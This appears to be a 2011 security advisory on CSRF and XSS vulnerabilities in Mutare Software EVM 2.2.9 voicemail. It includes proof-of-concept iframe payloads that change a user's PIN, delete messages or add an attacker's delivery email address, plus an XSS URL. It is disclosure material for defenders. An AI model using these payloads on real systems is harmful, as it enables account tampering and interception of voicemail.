Mutare Software EVM 2.2.9 Cross Site Request Forgery / Cross Site Scripting

🗓️ 07 Mar 2011 00:00:00Reported by Travis LeeType

packetstorm🔗 packetstormsecurity.com👁 21 Views

Mutare Software EVM 2.2.9 CSRF and XSS Vulnerabilit

`Description:  
  
Mutare Software EVM 2.2.9 (possibly earlier versions) is vulnerable to CSRF  
and XSS.  
  
An attacker could do the following to a users' EVM settings:  
  
A. Change their EVM PIN  
B. Delete all of their voice messages  
C. Change or add any of their delivery address for voicemails  
  
CERT Vulnerability Note: http://www.kb.cert.org/vuls/id/136612  
  
  
Proof of Concept:  
  
CSRF:  
  
<html>  
<body>  
  
<h1>Mutare Software EVM CSRF PoC</h2>  
  
<!--  
<iframe src="https://evoicemail.domain/ChangePin.asp?NewPIN=<insert  
new pin here>&VerifyPIN=<insert same new pin here>&ChangePIN=*" border="0"  
height="300" width="400">  
-->  
  
<!--  
<iframe  
src="https://evoicemail.domain/deletemsg.asp?SysID=4&PIN=&MsgDT=10/8/2010%20  
9:26:00%20AM&CCM=ALL&Mailbox=<insert mailbox number here>" border="0"  
height="300" width="400">  
-->  
  
<!--  
<iframe  
src="https://evoicemail.domain/evmoctel.asp?PwdChanged=&Password=&AllowN=T&N  
otifyEveryMsg=-1&Address1=<insert email address  
here>&Address2=&Address3=&AllowD=T&IncludeVoice=ALL&AddressD=<insert email  
address  
here>&ActiveD1=*&AddressD2=&AddressD3=&AttachmentFormat=MP3&DeliveryType=0&L  
astDelivery=10%2F8%2F2010+9%3A26%3A01+AM&LastDeliveryDB=10%2F8%2F2010+9%3A26  
%3A01+AM&AllowF=F&PopF=T&AddressF=&Update=True" border="0" height="300"  
width="600">  
-->  
  
</body>  
</html>  
  
XSS:  
  
  
https://evoicemail.domain.com/default.asp?Subscriber=12345%22%20onclick=%22j  
avascript:alert%281%29;  
  
`

07 Mar 2011 00:00Current

0.1Low risk

Vulners AI Score0.1